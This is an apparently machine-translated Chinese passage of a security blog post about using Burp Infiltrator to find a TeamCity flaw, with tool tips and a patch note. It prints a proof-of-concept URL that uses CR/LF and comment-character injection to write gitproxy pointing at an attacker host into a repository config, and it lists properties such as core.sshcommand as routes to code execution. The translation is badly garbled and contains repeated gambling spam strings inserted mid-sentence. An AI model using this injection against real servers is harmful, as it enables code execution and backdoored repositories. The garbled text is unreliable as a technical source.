在本文中,我将展示使用Burp Instrator来确定Jetbrains的Teamcity中极为通用的0天,这是用Java编写的流行连续集成服务器。Burp渗透器通过仪器进行目标应用程序,注入代码以追踪用户输入并有助于揭示使用经典扫描技术极为难以找到的晦涩难懂的漏洞。我还将分享一些用于使用渗透器以提高效率的技巧和技术。有关渗透器的基本介绍,请参考引入BURP渗透器

渗透器注入代码,该代码在发现数据提供的数据时将Pingback发送给Burp合作者打扫扫描仪击中潜在脆弱的水槽,例如运行系统命令或更改文件系统。这有助于找到漏洞,否则可能会被输入转换,输入过滤或缺乏输出掩盖。它还揭示了应用程序所经过的代码路径以达到每个危险的API,从而使脆弱性更容易进行补丁和利用。

一个实践的例子:中毒存储库配置文件通过过滤器绕过

我首先通过禁用除外部服务互动以外的每次扫描检查,从而使实时扫描和作为普通用户浏览,从而使用协作器ID喷洒渗透应用程序。

在探索应用程序一段时间后,我注意到有一些相互作用在许多页面上遵循相同的模式。这些交互表明该应用程序正在从用户输入中创建一个字节数组,然后将其传递到fileInputStream.read方法。此方法由一类在org.eclipse.jgit软件包,这是Teamcity git插件的依赖性。

我从有关从存储库URL创建一个新项目的页面中获得了这些交互,这意味着可能是将URL写入文件系统。尽管我无法判断这些内容的写在哪里,但我知道字节数组的确切内容。请参阅以下屏幕截图:

这是一个有趣的参数值:使用用户提供的数据构建某种基于属性的文件。解码后,实际的字符串看起来像这样:

[核]
symlinks = false
repositoryformatversion = 0
filemode = true
裸露= true
logallrefupdates = false
procomposeunicode = true
[Teamcity]
远程= http://u94vddpu8vkqdi9ati21kd201r7jbozhn9a0yp.burpcollaborator.net

我立即将其视为GIT存储库文件配置。此文件格式非常简单:

  • 各节表示为[sectionName],每个部分都有一组属性,这些属性均由propertyName = value格式。
  • 半隆或哈希之后的所有字符串都被视为评论。
  • 后斜线逃脱了特殊的角色。
  • 通过在行末端添加后斜线来支持多行属性值。

我的目标是逃脱团队成员部分,并在核心部分设置属性多汁的东西是。我用了合作者客户端要生成一系列我将用于有效载荷的交互ID。因此,每次逃脱远程属性的尝试都会生成与文件内容的渗透器交互。该设置提供了一个方便的反馈循环,该循环允许一个人通过多层代码转换后确定输入值的效果。

使用此方法一段时间后,我意识到我想出的所有URL都被正确逃脱了,尽管我可以使用0x0a要输入newline的字符,它仍将在远程属性的上下文中。此外,某些字节会使org.apache.commons.httpclient.httpmethodbase由于在URL中是非法的,因此课堂引起了例外。

尝试几次尝试后,我完善了有效载荷,最终得到了以下概念证明:

http:// fakerepo/%23;%0dremote = http:// realrepo;%0a%0d [core];%0a%0A%0DGITPROXY = http://攻击者:55555

生成以下文件:

[核]
…狙击…
[Teamcity]
远程= http:// realrepo;“ \ nttp:// fakerepo#;
[core];” \ n \
gitproxy = http://攻击者:5555

分解上面的有效载荷:%23(#)字符可防止HTTPCLEINT抛出异常,因为URL片段中的所有内容都被忽略了。这%0D(CR)角色将插入式返回到线的开头,有效地在原始属性的顶部编写。半隆评论原始内容的剩菜,还逃脱了团队解码后添加的后斜线%0A(如果)。

这是一个简单的原始性,使我们能够逃脱当前属性并将任意数据写入属性层次结构的最高级别。设置其中一些属性的影响很大,从代码执行到在代码库中插入后门(代表合法开发人员)到强迫开发人员将任意代码获取到其机器上。

可以添加数十个属性,可能会导致远程代码执行,请参阅:core.sshcommand,core.editor,gpg.program,其中许多其他。其他属性允许攻击者设置特定于存储库的代理,更改检查签名的方式,设置从加载git钩的位置以及更多的位置。

以上是找到错误并使用burp渗透器为其编写工作概念证明的一个例子。但这只是冰山一角,用协作者URL喷洒浸润应用程序可以产生非常有趣的结果,例如:

  • 异步渗透事件。
  • SMTP协作者事件从报道为渗透器交互的输入转换中得出。
  • 将来自同一API产生的多个渗透相互作用的看似无关的插入点相关联
  • 从不同插入点达到相同脆弱的代码路径的多种方式的交互。

什么

渗透应用是一个迭代过程。选择正确的目标路径取决于您要获得的交互的量。理想情况下,我们只对应用程序的字节码及其依赖性感兴趣,但别无其他。这是因为该应用程序可能无法实例化其自己的XML解析器,而是可以使用库来处理XML解析。如果是这样,并且我们不会渗透XML依赖性,那么即使扫描仪可靠地检测到XML漏洞,我们也不会看到那些渗透器的交互。

相反,如果我们盲目渗透到所有可能会产生误导性互动的一切。例如,当Web服务器收到请求时,它将使用其beplay体育能用吗路径来确定应将此请求发送到哪个应用程序。以下屏幕截图显示了一个示例:

看来有一个文件遍历问题,但是呼叫堆栈显示在外面没有代码org.eclipse.jetty软件包被执行。这种交互显然不是来自应用程序,而是来自Web服务器本身。beplay体育能用吗

使用协作者ID喷涂目标应用程序,等待渗透器交互以到达并相应地调整目标路径。

何时

重要的是要确定何时渗透目标应用程序的合适时机。通常,我们想修补与用户功能相关的每个类。大多数应用程序可以在第一次部署之前渗透,但是在许多情况下可能并非如此。

通过插件可扩展的一个示例。插件在运行时扩展了应用程序的攻击表面。在这种情况下,最好先安装要先测试的所有插件,将这些插件的位置添加到目标路径列表中,然后重新部署渗透应用程序。

JSP页面是值得提到的特殊情况。简而言之,JSP代码被翻译成servlet,而这些代码又将其编译为Java字节码。JSP的大多数实现都按需执行此操作,也就是说:JSP只有在客户要求之后才会汇编。这意味着渗透器不会仪器JSP文件,因为它们最初不是Java字节码。但是,用户可以通过多种方式解决此问题。例如,通过在部署应用程序之前手动触发JSP预编译,这将生成所需的字体模式。

遇到了麻烦?

如果您看到奇怪的行为或应用程序在渗透后无法启动,请密切注意Web服beplay体育能用吗务器日志(或应用程序记录设施)中的异常。现代应用程序通常会抛出异常,因此,如果您认为出现问题,则可以过滤以下类型:

  • Java.lang.ClassFormaterRor
  • java.lang.verifyerror
  • java.lang.noclassdeffounderror
  • java.lang.stackoverflowerror

这四种类型的例外是一些良好的指标,表明某些类或档案是通过修补过程中断的假设。如果您确实偶然发现了这些报告,请提交报告,您的反馈有助于改善渗透器的体验!

结论

存储库配置漏洞的补丁在6月2日的2017.1.2版中发布了点击劫机用作报告的POC的一部分的问题。

它可能还不在OWASP前10名中,但我们认为渗透器提高测试是任何黑客剧本的宝贵补充,强烈建议您在获得机会时放手一下。渗透应用听起来可能令人生畏,但是对何时以及如何进行渗透的注意力可能会产生异国情调的脆弱性和意外见解。